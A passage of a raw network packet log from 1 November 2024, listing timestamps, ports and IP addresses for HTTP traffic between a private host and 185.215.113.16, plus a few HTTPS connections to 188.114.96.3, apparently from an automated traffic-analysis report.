Nov 1, 2024 12:35:03.583396912 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.583398104 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.583409071 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.583420992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.583421946 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.583441019 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.583452940 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.583491087 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.583600044 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.583612919 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.583620071 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.583729982 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.642874956 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.642914057 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.642925024 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.642925978 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.642950058 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.642968893 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.643697977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.643711090 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.643728018 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.643743038 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.643755913 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.643834114 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.643846989 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.643882990 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.650641918 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650654078 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650665045 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650676012 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650686979 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650686979 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.650698900 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650711060 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650722980 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650731087 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.650758982 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.650785923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650796890 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650808096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.650835037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.650857925 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.656007051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656025887 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656038046 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656069994 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.656095028 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.656265020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656276941 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656287909 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656299114 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656312943 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656322956 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.656352997 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.656361103 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656372070 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656382084 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656392097 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656400919 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.656407118 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656421900 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.656445980 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.656900883 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656966925 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.656977892 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.657006979 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.657018900 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.657320023 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.657331944 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.657341003 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.657351971 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.657360077 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.657372952 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.657402039 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.657577038 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.657593966 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.657605886 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.657618046 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.657639027 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.657656908 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.704528093 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.704540014 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.704552889 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.704588890 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.704610109 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.705110073 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705121994 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705132961 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705147028 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705157995 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.705183983 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.705240965 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705254078 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705264091 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705275059 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705276012 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.705286980 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705298901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705303907 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.705327034 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.705339909 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.705490112 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705514908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705526114 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.705533028 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.705545902 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.705565929 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.706073999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.706085920 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.706095934 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.706106901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.706115007 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.706119061 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.706125021 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.706163883 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.707201004 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707214117 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707226038 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707237005 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707250118 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707251072 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.707262993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707274914 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.707293987 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.707338095 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707351923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707361937 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707372904 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.707385063 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.707408905 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.780277014 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780289888 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780299902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780313015 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780323982 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780334949 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780339956 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.780347109 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780359983 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780369043 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.780396938 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.780602932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780615091 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780625105 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780642033 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.780668020 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.780684948 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780697107 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780706882 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780719995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780730009 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.780731916 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780739069 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.780745029 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.780771017 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.780797005 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.781234980 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.781248093 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.781259060 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.781270027 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.781279087 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.781282902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.781292915 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.781322956 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.781356096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.781368017 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.781378984 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.781394005 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.781416893 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.783741951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783776999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783788919 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783799887 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783812046 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783822060 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.783843994 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.783866882 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783879042 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783889055 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783900023 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783910990 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783915043 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.783922911 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783931017 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.783936977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.783955097 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.783988953 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.784890890 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.785010099 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.785571098 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.785583973 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.785594940 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.785604954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.785624027 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.785654068 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.805174112 CET	80	50050	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.805358887 CET	50050	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.809964895 CET	50050	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.814834118 CET	80	50050	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.827861071 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.827910900 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.827923059 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.827976942 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.828003883 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.828593969 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.828643084 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.828655005 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.828666925 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.828691959 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.828704119 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.828821898 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.828834057 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.828849077 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.828860998 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.828870058 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.828901052 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829375982 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829386950 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829396009 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829406977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829416037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829423904 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829435110 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829435110 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829447985 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829457998 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829463005 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829471111 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829490900 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829526901 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829569101 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829581022 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829607964 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829617977 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829721928 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829734087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829771996 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829854965 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829866886 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829878092 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.829900026 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.829912901 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.830805063 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.830816984 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.830827951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.830854893 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.830879927 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.830916882 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.830929041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.830945015 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.830956936 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.830965042 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.830965996 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.830990076 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.831002951 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.903651953 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.903665066 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.903676033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.903708935 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.903739929 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.903748035 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.903760910 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.903798103 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.903877020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.903891087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.903903008 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.903913975 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.903919935 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.903943062 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.903973103 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904047966 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904074907 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904112101 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904114008 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904182911 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904194117 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904203892 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904225111 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904258966 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904419899 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904432058 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904443979 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904457092 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904467106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904474020 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904496908 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904510975 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904561043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904573917 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904589891 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904598951 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904603004 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904613018 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904614925 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904630899 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904659986 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.904784918 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.904843092 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905385971 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905437946 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905455112 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905467987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905478954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905497074 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905525923 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905525923 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905627966 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905642033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905653954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905669928 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905678034 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905704021 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905745983 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905762911 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905780077 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905783892 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905786037 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905792952 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905805111 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.905810118 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905827999 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.905870914 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.906292915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.906368017 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.906374931 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.906380892 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.906393051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.906415939 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.906433105 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.906477928 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.906491041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.906502008 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.906512022 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.906531096 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.906559944 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.950799942 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:03.950839043 CET	443	50051	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:03.951142073 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:03.951622009 CET	50051	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:03.951632977 CET	443	50051	188.114.96.3	192.168.2.7
